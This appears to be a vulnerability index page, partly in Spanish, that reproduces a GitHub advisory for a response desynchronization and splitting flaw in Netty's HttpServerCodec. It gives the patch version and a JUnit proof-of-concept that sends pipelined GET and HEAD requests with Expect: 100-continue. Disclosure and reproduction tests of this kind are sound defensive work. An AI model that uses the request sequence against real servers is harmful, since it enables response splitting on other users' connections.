GHSA-2G6J-R8Q9-5HR8
HttpServerCodec response desynchronization
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 4.2.17.Final | io.netty:netty-codec-http · -37 d desde divulgación | |
| Divulgación | Publicada | GHSA-2G6J-R8Q9-5HR8 divulgada · CVSS 7.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
If HttpServerCodec is configured, there are use cases when a response body for one request can be omitted while a body is incorrectly transmitted for another, desynchronizing HTTP parsing on that connection.
### Details
`io.netty.handler.codec.http.HttpServerCodec` pairs each outbound response with an inbound request by calling `pollMethod()` once per response, including for `1xx`. If the server pipelines GET then HEAD and a client sends `Expect: 100-continue`, then the server sends `100 Continue`, then `200 OK` with GET body, then `200 OK` for HEAD, the queue pairs HEAD with the first `200 OK`. The HEAD rule then drops that response body, so the GET entity is never delivered to the client, and the following 200 OK for HEAD is written with a body, causing Response Splitting.
The problem is in:
@Override
protected boolean isContentAlwaysEmpty(HttpResponse msg) {
methodFlag = pollMethod();
return methodFlag == METHOD_FLAG_HEAD || super.isContentAlwaysEmpty(msg);
}Prerequisites:
- HTTP/1.1 pipelining
- HEAD in the pipeline
- The client sends `Expect: 100-continue`
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpServerCodec());
String requests = "GET /1 HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Expect: 100-continue\r\n\r\n" +
"HEAD /2 HTTP/1.1\r\n" +
"Host: localhost\r\n\r\n";
channel.writeInbound(Unpooled.copiedBuffer(requests, CharsetUtil.ISO_8859_1));
HttpRequest request1 = channel.readInbound();
assertEquals(HttpMethod.GET, request1.method());
LastHttpContent content1 = channel.readInbound();
content1.release();
HttpRequest request2 = channel.readInbound();
assertEquals(HttpMethod.HEAD, request2.method());
LastHttpContent content2 = channel.readInbound();
content2.release();
// Server sends 100 Continue for GET /1
channel.writeOutbound(new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.CONTINUE));
// Server sends 200 OK with body for GET /1
HttpResponse getResponse =
new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer("body", CharsetUtil.ISO_8859_1));
HttpUtil.setContentLength(getResponse, 4);
channel.writeOutbound(getResponse);
// Server sends 200 OK with body for HEAD /2
HttpResponse headResponse =
new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer("body", CharsetUtil.ISO_8859_1));
HttpUtil.setContentLength(headResponse, 4);
channel.writeOutbound(headResponse);
// 100 Continue, mapped to GET request
ByteBuf outBuf = channel.readOutbound();
assertEquals("HTTP/1.1 100 Continue\r\n\r\n", outBuf.toString(CharsetUtil.ISO_8859_1));
outBuf.release();
// 200 OK, body — dropped by the codec, mapped to HEAD request
outBuf = channel.readOutbound();
assertEquals("HTTP/1.1 200 OK\r\ncontent-length: 4\r\n\r\n", outBuf.toString(CharsetUtil.ISO_8859_1));
outBuf.release();
// 200 OK, with body, not mapped - there is nothing in the queue
// The client will start to consume body up-to the content length thinking that this is the GET body
outBuf = channel.readOutbound();
assertEquals("HTTP/1.1 200 OK\r\ncontent-length: 4\r\n\r\nbody", outBuf.toString(CharsetUtil.ISO_8859_1));
outBuf.release();
}### Impact
Integrity and availability of HTTP parsing on that connection; response bodies may be misdelivered or omitted, and the socket becomes unsafe for further pipelined reuse.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
mavenio.netty:netty-codec-http |
Corregida | 4.2.17.Final | -37 d | 4.2.21.Final no afectada |
4.2.17.FinalArsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/netty/netty/security/advisories/GHSA-2g6j-r8q9-5hr8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
